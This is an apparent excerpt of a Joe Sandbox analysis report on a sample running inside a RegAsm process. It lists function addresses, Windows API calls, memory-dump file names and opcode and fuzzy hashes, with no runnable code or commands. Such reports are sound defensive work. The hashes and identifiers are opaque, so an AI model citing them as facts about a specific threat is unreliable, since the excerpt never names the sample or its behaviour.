Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32(Function_0002B191,00000001), ref: 0042B53F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: fa7713706b92265edf7284d656e89a0b8785a33ca4ac300ce816b73ba882c0aa
Instruction ID: 0ec7358b732ede5105eed642336a5cfbd84edb936fe00fdd6678379c67c1f716
Opcode Fuzzy Hash: fa7713706b92265edf7284d656e89a0b8785a33ca4ac300ce816b73ba882c0aa
Instruction Fuzzy Hash: 38D0A771B107106BD7204F34ED497F177E0FB10B16F70994EDC96490C0D7B865D58648

Function 004275FE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000275BC), ref: 00427603

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3cc0531968f4e180a7fd2320878c42a1e3eb0eb3d6bf9af3f5633b4c02aa09c4
Instruction ID: 63115001a4db144823976550ef90439480f9778a13470c8a0de4e09096864752
Opcode Fuzzy Hash: 3cc0531968f4e180a7fd2320878c42a1e3eb0eb3d6bf9af3f5633b4c02aa09c4
Instruction Fuzzy Hash: C89002A035E260968A0117706C1D61575906A48706B952565A001C4458DB954041592D

Function 0042CCFE Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d97accdddca180c2f40f6d409125112d32350cdc4eef304a9b7ee57281d0ee6
Instruction ID: e00910e933ab2ef9a4cbdcbbaa8b2a31cbc473e9754d222f0bc3ce1d9ce70c54
Opcode Fuzzy Hash: 8d97accdddca180c2f40f6d409125112d32350cdc4eef304a9b7ee57281d0ee6
Instruction Fuzzy Hash: 85020B33F4A6B24B8B314EB918D023B7FA15E0274035F46EADDC07F296C11ADD1696E8

Function 0042DCEB Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: d318264e77421e9267015276f2a8dfcd5761b41bd43a07833cbb014bbbf2d737
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 9EC1A473E1F8B2058735852E281823FFE626E92B4135FC3E2DCD03F689C62A6D1595D8

Function 0042D903 Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 3fbca489f381264aebb184a0a397bcce3beead14cfa5f194209987443fc4315a
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: FDC1A573E0F5B2058B35852D281823FFEA26E92B4135FC3A2DCD03F789C62A6D5595D8

Function 0042D531 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: c496c0f25bda5420686e2ce4e5d768a888ba3d4f5808aaf1ff36246485dadc71
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 17C19573E0F5B2098776852D181823FFE626E82B4135FC3A6CCD03F789C62A6D5596D8

Function 0042D193 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: fa940e6918dae386e8be190a1cabb9e84ade6e634dcdf123b1c3a914af071a66
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: ACB1B473E0F4B2458735852D681823FFEA26E92B4135FC3E6CCD03F689C62AAD1595D8

Function 004194D4 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 32e0678ae7d521eec5f47969d2edfa0f4c2d990ef475f2823f6b588e6ce85c84
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: C651D573900115ABEB19CF59C4916E973B2EF94308F2584BEDC4AEF286EB345D41CB58

Function 0041B6DC Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: c23e5ddd6100e53b70c130f987c7a8fa7a43253421f6a33f5d0ed47ca51c7b06
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 7821EB31670AE306CB848FF8FCC015267D1CBCE21B75EC279CE50C9166D16DE66286D4

Function 6C1A8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3550a8de41428d27622b2a166725bb1b0b94578aa7879d7fa9394c4ff600cad5
Instruction ID: 4e84fb2eb1de02006c4565d81d0ec7dd13af437e54a09632c8f484b1ef8e3e48
Opcode Fuzzy Hash: 3550a8de41428d27622b2a166725bb1b0b94578aa7879d7fa9394c4ff600cad5
Instruction Fuzzy Hash: 3F11B276B012958FE704CF55D88479AB7B5BF4631CF0442AAD8058FA41D775D887C7C1

Function 6C280C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63323ee303d310e3bf9fc7729428787ce618392a0717bc4cb55730e8021873ff
Instruction ID: 762a1eb15310ecf74f3cef1a83b3ef3bbc135736daedf57ee5115a64501100dd
Opcode Fuzzy Hash: 63323ee303d310e3bf9fc7729428787ce618392a0717bc4cb55730e8021873ff
Instruction Fuzzy Hash: AF11917570634A9FDB00DF19C8806AA77A5FF85368F14806DEC198B751DB71E80ACBA0

Function 6C280D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: e15bc2c86733291f2fa027b215a320bee53279282b8da9cfeaeb7d09ecc5f63c
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 2EE06D3EA03059A7DB148E09C450AA97399DF8561AFA4C479DC599BA41D633F8078781

Function 0040111D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 00418563 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 00418562 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction ID: 81b03007a1f881deed44a42fc0175a6fbd256bce6d09bf2effb1e14420dd7128
Opcode Fuzzy Hash: 35f880b7d9409492cfbd2c31b6ba08b67b52b83fed8c053745051b7244bb587c
Instruction Fuzzy Hash: DEE04278A55644DFC741CF58D195E99B7F0EB09368F158199E806DB761C274EE00DF00

Function 0040148A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 004014A2 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,750A5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,750A5460,?,00000000), ref: 0040DD04
